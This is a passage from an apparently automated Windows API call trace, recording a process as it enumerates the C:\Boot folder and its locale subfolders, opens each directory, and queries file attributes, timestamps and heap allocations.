ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0038.239] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 1 [0038.239] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 0 [0038.239] GetLastError () returned 0x12 [0038.239] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0038.239] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0038.239] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0038.239] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0038.239] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0038.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0038.239] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0038.318] CreateFileW (lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0038.318] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0038.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0038.318] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0038.318] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0038.318] NtClose (Handle=0x16c) returned 0x0 [0038.318] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0038.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0038.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0038.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0038.318] FindFirstFileExW (in: lpFileName="C:\\Boot\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0038.318] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.319] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0038.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.319] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.319] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed62c0 [0038.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e9d8 [0038.319] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.319] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0038.319] GetLastError () returned 0x12 [0038.319] FindFirstFileExW (in: lpFileName="C:\\Boot\\fr-FR\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0038.319] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0038.319] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.319] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0038.319] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0038.319] GetLastError () returned 0x12 [0038.319] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0038.319] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0038.319] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0038.319] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0038.319] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0038.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0038.319] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0038.320] CreateFileW (lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0038.320] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0038.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0038.320] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0038.320] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0038.320] NtClose (Handle=0x134) returned 0x0 [0038.320] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0038.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0038.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0038.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0038.320] FindFirstFileExW (in: lpFileName="C:\\Boot\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0038.320] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.320] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0038.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.320] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.320] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed62e0 [0038.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0038.320] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.320] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0038.321] GetLastError () returned 0x12 [0038.321] FindFirstFileExW (in: lpFileName="C:\\Boot\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0038.321] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0038.321] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.321] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0038.321] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0038.321] GetLastError () returned 0x12 [0038.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0038.321] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0038.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0038.321] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0038.321] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0038.321] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0038.321] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0038.755] CreateFileW (lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0038.757] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0038.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0038.758] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0038.759] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0038.760] NtClose (Handle=0x16c) returned 0x0 [0038.760] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0038.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0038.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0038.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0038.764] FindFirstFileExW (in: lpFileName="C:\\Boot\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0038.765] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.766] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0038.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.767] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.768] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0038.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6300 [0038.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e840 [0038.770] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0038.771] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0038.771] GetLastError () returned 0x12 [0038.772] FindFirstFileExW (in: lpFileName="C:\\Boot\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0038.774] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0038.775] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.776] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0038.776] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0038.777] GetLastError () returned 0x12 [0038.778] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0038.779] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0038.779] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0038.780] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0038.781] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0038.782] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0038.782] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0038.785] CreateFileW (lpFileName="C:\\Boot\\ja-JP" (normalized: "c:\\boot\\ja-jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0038.788] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0038.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0038.790] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, 